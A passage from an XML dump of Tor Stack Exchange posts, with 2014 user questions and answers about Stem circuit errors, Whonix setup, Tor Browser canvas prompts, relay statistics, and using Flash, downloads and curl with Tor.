href=&quot;https://tor.stackexchange.com/questions/38/what-threat-model-is-qubes-os-torvm-most-appropriate-for&quot;&gt;What threat model is Qubes OS TorVM most appropriate for?&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Full disclosure: &lt;br /&gt;&#xA;I am a maintainer of Whonix.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2020-10-27T12:48:29.587" LastActivityDate="2020-10-27T12:48:29.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1818" PostTypeId="1" CreationDate="2014-03-27T03:57:00.193" Score="1" ViewCount="2245" Body="&lt;p&gt;I'm trying to create circuits using the Stem library and I keep getting the following error ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;controller.new_circuit(['711e9e5711a6e28e2a27de23b7c70c91d39908d0','D3E47F64C413410F24AD259905B0B748453CFA3C'],await_build=True)Traceback (most recent call last):&#xA;  File &quot;&amp;lt;stdin&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/stem/control.py&quot;, line 2005, in new_circuit&#xA;    return self.extend_circuit('0', path, purpose, await_build)&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/stem/control.py&quot;, line 2098, in extend_circuit&#xA;    raise stem.CircuitExtensionFailed(&quot;Circuit failed to be created: %s&quot; % circ.reason, circ)&#xA;stem.CircuitExtensionFailed: Circuit failed to be created: CHANNEL_CLOSED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's really odd, because I've been using this method to create circuits for a long time, and all the sudden it's not working anymore. I'm sure that I've got my controller set up and authenticated correctly, and I'm sure that Tor is running on the correct ports and everything. Does anyone know what this CHANNEL_CLOSED error means, or why it might be occurring? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="941" LastActivityDate="2014-04-29T22:41:40.173" Title="Circuit Creation Failed: &quot;CHANNEL_CLOSED&quot;" Tags="|circuit|configuration|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1819" PostTypeId="2" ParentId="1814" CreationDate="2014-03-27T04:14:53.960" Score="2" Body="&lt;p&gt;Whonix consists of two virtual machines, a gateway and a workstation. The Whonix-Gateway can be installed in a virtual machine to route all traffic through tor from any other virtual machine.  The second virtual machine can be any OS.  It doesn't necessarily have to be the Whonix-Workstation.  In virtualbox, under the network settings for the second virtual machine, select 'Internal Network' from the 'Attached to' drop-down box and set 'Whonix' as the name.&lt;/p&gt;&#xA;" OwnerUserId="721" LastActivityDate="2014-03-27T04:14:53.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1820" PostTypeId="2" ParentId="1780" CreationDate="2014-03-27T04:21:18.913" Score="2" Body="&lt;p&gt;Try &lt;a href=&quot;http://keepass.info/&quot; rel=&quot;nofollow&quot;&gt;http://keepass.info/&lt;/a&gt; with the &lt;a href=&quot;http://keefox.org/&quot; rel=&quot;nofollow&quot;&gt;http://keefox.org/&lt;/a&gt; FireFox plugin.  The password database is stored locally.&lt;/p&gt;&#xA;" OwnerUserId="721" LastActivityDate="2014-03-27T04:21:18.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1821" PostTypeId="2" ParentId="1792" CreationDate="2014-03-27T06:36:30.500" Score="1" Body="&lt;p&gt;This is an obfsproxy bug on systems running Python &amp;lt; 2.7.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try the branch linked off the &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/11329&quot; rel=&quot;nofollow&quot;&gt;tor trac entry&lt;/a&gt; associated with this problem or wait till obfsproxy 0.2.8.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2014-03-27T06:36:30.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1822" PostTypeId="1" CreationDate="2014-03-27T07:27:41.950" Score="3" ViewCount="3248" Body="&lt;p&gt;On several sites where I use Tor, I too often get the following popup message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This website attempted to access image data on Canvas. Since Canvas&#xA;  image data can be used to discover information about your computer,&#xA;  blank image data was returned this time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is considerably intrusive and it's interrupting my work. How can I configure Tor browser to never again show this popup? Ok, it sent back blank image data - I get it. I'm happy with that. I just don't want to be reminded of it - ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried following the advice here in the accepted answer: &lt;a href=&quot;https://tor.stackexchange.com/questions/957/html5-canvas-image-extraction&quot;&gt;HTML5 Canvas Image Extraction&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, that doesn't work (maybe something has changed since that version?) If I delete the permissions.sqllite file, then Tor just writes it back. Editing the file just seems to show a table definition (I wanted to change the value). If I can change this value to false, and this succeeds in removing this popup, where can I change it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get rid of this message so that it never again shows up, especially after requesting a new identity?&lt;/p&gt;&#xA;" OwnerUserId="1457" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-12-16T19:52:05.260" Title="How can I remove the overly frequent popup that's constantly warning me about HTML5 Canvas?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1824" PostTypeId="1" AcceptedAnswerId="1832" CreationDate="2014-03-27T08:04:37.217" Score="2" ViewCount="229" Body="&lt;p&gt;I want to know the total bandwidth of the guard nodes. I went through &lt;a href=&quot;https://metrics.torproject.org/network.html#bandwidth&quot; rel=&quot;nofollow&quot;&gt;https://metrics.torproject.org/network.html#bandwidth&lt;/a&gt; but I saw only the graphs. I want to know the value.&lt;/p&gt;&#xA;" OwnerUserId="1384" LastActivityDate="2014-03-31T11:52:40.933" Title="how to find out the total bandwidth of guard nodes in Tor network?" Tags="|guard|bandwidth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1827" PostTypeId="1" AcceptedAnswerId="1828" CreationDate="2014-03-28T04:09:21.563" Score="1" ViewCount="109" Body="&lt;p&gt;In &lt;a href=&quot;https://tor.stackexchange.com/questions/1755/how-to-implement-the-modified-source-code-of-tor&quot;&gt;How to implement the modified source code of Tor?&lt;/a&gt;, OP may be asking about using a tor binary built from customized source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The public Tor network rejects customized clients and relays, right?&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-04-27T08:01:32.827" Title="Does the Tor network accept clients or relays running customized source code?" Tags="|security|circuit|source-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1828" PostTypeId="2" ParentId="1827" CreationDate="2014-03-28T07:09:36.243" Score="3" Body="&lt;p&gt;Tor network sometimes rejects/avoids nodes that misbehave in some way, e.g. by sending invalid traffic or (in the case of exit nodes) modifying exit traffic, see the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/badRelays&quot; rel=&quot;nofollow&quot;&gt;badRelays&lt;/a&gt; page on the wiki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, such misbehavior is often caused by misconfiguration or by some other entity (an antivirus program, the node operator's ISP) modifying the traffic that the tor binary sends, rather than by a modified/customized tor client binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, if a customized node is behaving correctly, as far as outward appearances go, then it will &lt;strong&gt;not&lt;/strong&gt; be rejected; indeed in many cases it won't even be possible to identify such a node as having been customized/modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The design of the Tor protocol does not depend on everybody using the same &quot;trusted&quot; implementation of Tor; rather, Tor is designed with a threat model in mind where a malicious entity might operate multiple modified Tor nodes.&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2014-03-28T07:09:36.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1829" PostTypeId="1" CreationDate="2014-03-28T08:39:02.437" Score="2" ViewCount="429" Body="&lt;p&gt;I am running Tor as an exit node on Ubuntu. Is it possible to know the number of connections to my exit node at the current time?&lt;/p&gt;&#xA;" OwnerUserId="1384" LastEditorUserId="100" LastEditDate="2014-07-01T00:48:45.167" LastActivityDate="2014-07-01T00:48:45.167" Title="How many connections are using my exit node?" Tags="|exit-relays|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1830" PostTypeId="2" ParentId="1758" CreationDate="2014-03-28T18:28:00.657" Score="0" Body="&lt;p&gt;Tor Browser Bundle (TBB) has a version of Firfox embeded in it. You do not need to use Firefox version 28.0 with it. Actually it does not use Firfox version 28.0. I believe somehow you thought you need the latest version of Firefox (version 28.0) per your question to run Tor Browser Bundle (TBB). All you need to do is to download TBB and execute the &quot;Start Tor Browser.exe&quot; file. &lt;strong&gt;Do not do anything with Firefox&lt;/strong&gt;. Wait about 30 seconds or so and TBB will open its own version of Firefox for you automatically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. sometimes it may take longer than 30 second for TBB to open its own version of Firefox specially if it is the first time you start the newly downloaded version. Be patient.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-03-28T18:47:22.103" LastActivityDate="2014-03-28T18:47:22.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1832" PostTypeId="2" ParentId="1824" CreationDate="2014-03-29T11:55:38.880" Score="3" Body="&lt;p&gt;You can find the advertised bandwidth values in the &lt;a href=&quot;https://metrics.torproject.org/stats/bandwidth.csv&quot; rel=&quot;nofollow&quot;&gt;bandwidth.csv file&lt;/a&gt;, which is   linked below each metric graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As explained on the &lt;a href=&quot;https://metrics.torproject.org/stats.html#bandwidth&quot; rel=&quot;nofollow&quot;&gt;Tor Metrics Portal: Statistics page&lt;/a&gt;, each row of this file has the following fields: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;date,isexit,isguard,advbw,bwread,bwwrite,dirread,dirwrite&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rows where &lt;code&gt;isguard&lt;/code&gt; column  is &lt;strong&gt;t&lt;/strong&gt;(rue) will give you the bandwidth for the guard nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that there are two rows where &lt;code&gt;isguard&lt;/code&gt; is  equal to &lt;strong&gt;t&lt;/strong&gt; for each day: one for the &lt;code&gt;Guard-only&lt;/code&gt; nodes and the other for the &lt;code&gt;Guard &amp;amp; Exit&lt;/code&gt; nodes. So you just need to add them to get the total value.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2014-03-25,f,f,1004882359,277531964,294481782,,&lt;br&gt;&#xA;  2014-03-25,f,&lt;strong&gt;t&lt;/strong&gt;,4561740723,2477486643,2592422620,,  &lt;code&gt;# Guard-only&lt;/code&gt;&lt;br&gt;&#xA;  2014-03-25,t,f,460279098,202651074,207583594,,&lt;br&gt;&#xA;  2014-03-25,t,&lt;strong&gt;t&lt;/strong&gt;,2467664369,1416232643,1461686772,,  &lt;code&gt;# Guard &amp;amp; Exit&lt;/code&gt;&lt;br&gt;&#xA;  2014-03-25,,,8494566550,4374045598,4556230558,4666714,141124165  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="731" LastActivityDate="2014-03-29T11:55:38.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1833" PostTypeId="1" CreationDate="2014-03-29T19:29:09.597" Score="3" ViewCount="1995" Body="&lt;p&gt;I want to use Whonix for my hidden services and am planning to use it on a remote dedicated server, the issue is I would have to connect to the dedicated server through SSH, will that compromise the security in any way ( as SSH will be through clearnet). I understand that Whonix will be located on a virtual box and have its own Tor tunnel but still the question arises as it will be a remote server and I will not have a physical access to the server.&lt;/p&gt;&#xA;" OwnerUserId="1472" LastEditorUserId="923" LastEditDate="2014-06-23T15:18:33.207" LastActivityDate="2014-06-23T15:18:33.207" Title="Hosting Tor hidden services with Whonix on remote server" Tags="|onion-services|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1834" PostTypeId="2" ParentId="1829" CreationDate="2014-03-29T20:26:21.920" Score="3" Body="&lt;p&gt;Yup, and thank you for running an exit! Netstat, lsof, and other connection resolvers can tell you the number of active connections a process is making. &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Stem&lt;/a&gt; also has a &lt;a href=&quot;https://stem.torproject.org/tutorials/east_of_the_sun.html&quot; rel=&quot;nofollow&quot;&gt;module&lt;/a&gt; to make this easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor has a feature to prevent debuggers like gdb from analyzing tor's memory. This feature inadvertently breaks connection resolvers like the above, so you'll need to add &lt;code&gt;DisableDebuggerAttachment 0&lt;/code&gt; to your torrc. After that getting the count is easy. In the following case 29124 is my tor pid.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; % netstat -np | grep &quot;29124/tor&quot; | grep ESTABLISHED | wc -l&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be careful about looking at specific connection information. Counts would be fine, but looking at exit destinations would be eavesdropping (... and possibly illegal due to wiretap laws).&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="88" LastEditDate="2014-03-31T12:22:53.997" LastActivityDate="2014-03-31T12:22:53.997" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1835" PostTypeId="1" AcceptedAnswerId="1838" CreationDate="2014-03-29T22:21:27.483" Score="0" ViewCount="343" Body="&lt;p&gt;Hi i am a software engineering student and in my parallel processisng class, i had to choose between a number of subjects to do a study on, i picked up Tor and i found a lot of material about it, but eventually i will have to do the link between it and the course's main topic, aka parallel and distributed processing. Problem is that i didn't find anything related to that, did i miss something here ? As i see nothing in the circuit construction or sending data encryption that points toward that specific subject. &lt;/p&gt;&#xA;" OwnerUserId="1473" LastActivityDate="2014-03-30T06:11:29.600" Title="Is there any relation betwwen Tor and Distributed/Parallel processing?" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1836" PostTypeId="2" ParentId="1833" CreationDate="2014-03-29T22:55:12.257" Score="1" Body="&lt;p&gt;Full disclosure: &lt;br /&gt;&#xA;I am a maintainer of Whonix.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to use Whonix for my hidden services and am planning to use it on a remote dedicated server,&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Setting this up could become difficult, depending on the server. For example if the server really is &quot;only&quot; an OpenVZ VM, I don't think it will be possible to install VirtualBox or use physical isolation somehow. It's certainly possible on a root server (because that is just like a normal hardware computer under your control), but hosting VMs on vservers could be difficult. [Not impossible.] But this is another topic.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the issue is I would have to connect to the dedicated server through SSH, will that compromise the security in any way&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. The host of the server can see where the SSH connection is coming from. My advice: use Whonix to connect to that server. Only connect to that server using Whonix. For everything, ssh, file transfer, etc.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;it will be a remote server and I will not have a physical access to the server&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not having physical security, as in someone else has physical access has grave disadvantages for security. Server hosts have full control. They can see everyone who is connecting to the server. (Unless, they are using Tor. Hence, use Tor when you connect to it.) They can also see, what the server is running from the management console (html files, data bases, passwords, configs, everything). Maybe in future it will be possible to securely servers in the cloud while not giving the host itself access by using RAM encryption (something like PrivateCore). But I don't think these are already secure and vetted systems. However, secure hosting in the cloud while not trusting the host is worth a separate discussion (most likely it has been asked on security.stackexchange already).&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2014-03-29T22:55:12.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1837" PostTypeId="1" CreationDate="2014-03-30T03:32:10.760" Score="3" ViewCount="100" Body="&lt;p&gt;Let's say the computer I'm using is an exit. If I don't use Tor for my own browsing, can we consider it safe because those connections will blend in with other connections that exit?&lt;/p&gt;&#xA;" OwnerUserId="1474" LastEditorUserId="1474" LastEditDate="2014-03-31T00:59:18.380" LastActivityDate="2014-04-07T15:48:11.557" Title="Would using direct connections on an exit be safe?" Tags="|anonymity|exit-relays|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1838" PostTypeId="2" ParentId="1835" CreationDate="2014-03-30T06:11:29.600" Score="2" Body="&lt;p&gt;Tor and paralell processing aren't really related at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Distributed computing is something that happens on a grid of computers. Distributed computing is the process of getting a bunch of computers to combine their resources so as to form a resource pool that can then be used as if it were a supercomputer, by dividing work among each node in the computing network. Distributed computing is networked but is really centric to the local system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor is the same in that it is made up of a bunch of interconnected nodes, but its purpose is entirely different. Instead of each Tor node doing work, most are simply relays whose job is to take data in, not do anything with it, and push it out. The Tor software runs on the local computer but it is really centric to the effect of the entire network as a whole. The individual computers don't matter that much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Distributed computing is processor-intensive, Tor is network-intensive. There really isn't a similarity between the two besides the highly generalized fact that they are both networks of computers.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-03-30T06:11:29.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1839" PostTypeId="2" ParentId="1837" CreationDate="2014-03-30T08:20:41.387" Score="0" Body="&lt;p&gt;The IP used by an exit is an information that you don't want to be linked to yourself, and that's precisely the whole purpose of the Tor software. Therefore, I would say that it is unsafe.&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-30T08:20:41.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1840" PostTypeId="2" ParentId="1837" CreationDate="2014-03-30T15:31:07.780" Score="1" Body="&lt;p&gt;This is safe in terms of the fact that there are no new attacks that can target you direct connections. In other words, running an exit node does not correlate to someone being able to sniff your traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also safe if you mean, as you say, you'd like to blend your traffic in with the exit node traffic. It would be difficult for an attacker (like an ISP) to differentiate Tor exit node traffic and your personal traffic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, it does not really offer true traffic analysis protections because you're not actually routing across the Tor network. You're taking the plausible deniability route in this case but don't have much science/tech to back it up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, safe - yes for some definitions. Smart, probably not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This FAQ covers the topic a bit. &#xA;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#BetterAnonymity&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#BetterAnonymity&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1181" LastActivityDate="2014-03-30T15:31:07.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1842" PostTypeId="2" ParentId="1837" CreationDate="2014-03-30T21:45:30.717" Score="1" Body="&lt;p&gt;I don't think it would be &quot;safe&quot; - you would have less anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the case of an adversary who can watch your connection to the internet, e.g. your ISP. Such an adversary might sometimes observe a lack of correlation between encrypted tor traffic going into your node and traffic leaving your connection, and guess that you - rather than other tor users - are the origin of that traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How easy it would be for an adversary to distinguish between tor-exit traffic and your own traffic probably depends on how busy your exit node is, but I definitely think it would be less safe than using tor.&lt;/p&gt;&#xA;" OwnerUserId="1480" LastActivityDate="2014-03-30T21:45:30.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1843" PostTypeId="1" CreationDate="2014-03-30T23:23:36.497" Score="1" ViewCount="198" Body="&lt;p&gt;Just started with Tor yesterday. I understand downloading and using Tor means no longer having Flash Player and the reasons why, BUT...when using online sites like PicMonkey (which I use for my work) I NEED to have Flash Player. Is there something else I can use that will enable me to continue using PicMonkey and still use Tor as well?&lt;/p&gt;&#xA;" OwnerUserId="1481" LastActivityDate="2017-05-19T23:11:40.997" Title="Flash Player usage" Tags="|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1844" PostTypeId="2" ParentId="1822" CreationDate="2014-03-31T01:32:31.263" Score="1" Body="&lt;p&gt;By default, Tor Browser &lt;a href=&quot;https://gitweb.torproject.org/torbrowser.git/blob/HEAD:/src/current-patches/firefox/0002-Make-Permissions-Manager-memory-only.patch&quot; rel=&quot;nofollow&quot;&gt;does not remember your permissions&lt;/a&gt; to prevent &lt;strong&gt;linkability&lt;/strong&gt; across different browsing sessions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know what you're doing, go to &lt;code&gt;about:config&lt;/code&gt; page and toggle &lt;code&gt;permissions.memory_only&lt;/code&gt; preference to &lt;code&gt;False&lt;/code&gt;. This should tell Tor Browser to remember your permissions about canvas.&lt;/p&gt;&#xA;" OwnerUserId="731" LastActivityDate="2014-03-31T01:32:31.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1846" PostTypeId="2" ParentId="1536" CreationDate="2014-03-31T12:13:15.673" Score="0" Body="&lt;p&gt;The site you are using might have some kind of time out. So if you need some time to write your comment, maybe the session ran out and the site thinks you are a new user. Maybe they also register what IP a user has and if it changes they think it is a new user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two things may help you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;For Mozilla's Firefox there is the plugin &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/its-all-text/&quot; rel=&quot;nofollow&quot;&gt;It's all text&lt;/a&gt;. It allows you to enter a text for comments, forum posts etc. in an editor. So an extra program opens, you edit the text there and upon saving the comment field is automatically updated. Using this plugin has the advantage that the text is saved in a temporary file in your harddrive. So if you have to login again, you can take the text and copy it into the window.&lt;/li&gt;&#xA;&lt;li&gt;As Roya &lt;a href=&quot;https://tor.stackexchange.com/a/1624/88&quot;&gt;wrote&lt;/a&gt; there is an option for Tor. So locate your &lt;code&gt;torrc&lt;/code&gt; and insert a line with the text &lt;code&gt;TrackHostExits archive.totalsem.com,example.com&lt;/code&gt;. Whenever you're visiting &lt;code&gt;archive.totalsem.com&lt;/code&gt; or &lt;code&gt;example.com&lt;/code&gt; Tor will try to use the same exit relay. So you are visiting the site with the same IP address and you session remains.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-03-31T12:13:15.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1849" PostTypeId="2" ParentId="1843" CreationDate="2014-04-01T00:07:58.273" Score="1" Body="&lt;p&gt;Using flashplayer will reveal your real ip-address. This renders Tor useless to you. However, if you truly don't care; you can use a Virtual Machine with a Gateway so that your real ip can't be leaked. If you download both VirtualBox and Whonix from: Virtualbox.org and Whonix.org, you can do this without completely killing your anonymity. (It basically only allows connections to go through the Tor network)&lt;/p&gt;&#xA;" OwnerUserId="1486" LastActivityDate="2014-04-01T00:07:58.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1850" PostTypeId="1" CreationDate="2014-04-01T04:33:23.567" Score="0" ViewCount="371" Body="&lt;p&gt;I'm running TAILS 0.23 off a usb stick. The Vidalia control panel does NOT have the &quot;Setup Relaying&quot; button.  How can I start a Tor relay?&lt;/p&gt;&#xA;" OwnerUserId="1487" LastActivityDate="2014-04-01T17:42:46.003" Title="How do I run a Tor relay under TAILS 0.23 distro?" Tags="|relays|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1851" PostTypeId="2" ParentId="1850" CreationDate="2014-04-01T17:42:46.003" Score="2" Body="&lt;p&gt;TAILS is not designed to host a server, and that for security reasons. If you want to safely and securely run a Tor relay you should use &lt;a href=&quot;http://opensource.dyc.edu/tor-ramdisk&quot; rel=&quot;nofollow&quot;&gt;Tor-ramdisk&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1492" LastActivityDate="2014-04-01T17:42:46.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1853" PostTypeId="2" ParentId="1627" CreationDate="2014-04-02T00:52:02.797" Score="3" Body="&lt;p&gt;Why the need to use tsocks? curl does support socks proxy&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --proxy socks5h://localhost:9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1495" LastEditorDisplayName="user5" LastEditDate="2014-04-02T01:42:07.657" LastActivityDate="2014-04-02T01:42:07.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1854" PostTypeId="1" CreationDate="2014-04-02T12:11:43.770" Score="3" ViewCount="218" Body="&lt;p&gt;I am running my Tor relay as middle relay. Is it possible to know how many circuits are there through my middle relay?&lt;/p&gt;&#xA;" OwnerUserId="1384" LastEditorUserId="88" LastEditDate="2014-06-30T22:55:04.203" LastActivityDate="2014-11-07T14:05:16.727" Title="How to know the number of circuits through my middle Tor relay?" Tags="|relays|circuit|middle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1855" PostTypeId="1" CreationDate="2014-04-02T12:29:59.040" Score="2" ViewCount="1905" Body="&lt;p&gt;&lt;strong&gt;Context :&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OS : Ubuntu 13.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Software to &quot;torify&quot;  : Teamspeak 3 (download &lt;a href=&quot;http://dl.4players.de/ts/releases/3.0.14/TeamSpeak3-Client-linux_x86-3.0.14.run&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issue :&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to run teamspeak 3 thanks to proxychains and Tor on ubuntu, but I don't understand why it isn't forwarded correctly. I manage to run the software, however connection details underlined by Teamspeak 3 are not those expected (of Tor), but mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that the proxychains forward I set up is working fine on browsers (firefox/chromium), and even Teamspeak 2 (that was installed thanks to the official repository).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering where the issue is coming from, and how could I fix it.&lt;/p&gt;&#xA;" OwnerUserId="1497" LastEditorUserId="923" LastEditDate="2014-04-02T19:33:32.707" LastActivityDate="2014-07-17T03:17:51.230" Title="Tor and Teamspeak 3 on Ubuntu" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1856" PostTypeId="1" CreationDate="2014-04-02T13:38:45.550" Score="0" ViewCount="316" Body="&lt;p&gt;I was told before using the Tor browser that it is not advisable to download in Tor browser.  My question is once I have downloaded a Tor file (A pdf file or a video file) and then restart the browser session and then use the downloaded file, will I still have a possibility of being detected? Or if I shut down the browser and am still connected to the internet will I be detected?&#xA;If the Q sounds a little outdated... Sorry. Am a first time user.... &lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="923" LastEditDate="2014-04-02T19:33:11.327" LastActivityDate="2014-05-02T20:27:30.773" Title="Downloading In Tor" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1857" PostTypeId="2" ParentId="1856" CreationDate="2014-04-02T14:30:39.733" Score="2" Body="&lt;p&gt;From my understanding the problem lies in the possibility that the document that you downloaded contains some code that will cause your computer to connect to the internet directly and not through Tor. A lot of documents types (especially pdfs, word or excel documents) provide a lot of functionality to the creator of the document that you might not be aware of. This could be used to make a connection from your computer to some server, thus disclosing your real ip. A more detailed explanation can be found for example &lt;a href=&quot;https://security.stackexchange.com/questions/39863/downloading-files-using-tor&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2014-04-02T14:30:39.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1858" PostTypeId="1" CreationDate="2014-04-02T15:35:57.953" Score="0" ViewCount="835" Body="&lt;p&gt;when I try to playback youtube videos sometimes get a notice about downloading latest version of flash playback software. After setting the software up I still fail to playback youtube videos.&lt;/p&gt;&#xA;" OwnerUserId="1499" LastEditorUserId="923" LastEditDate="2014-04-02T19:32:45.403" LastActivityDate="2017-11-10T21:08:11.920" Title="failure playback of youtube videos" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
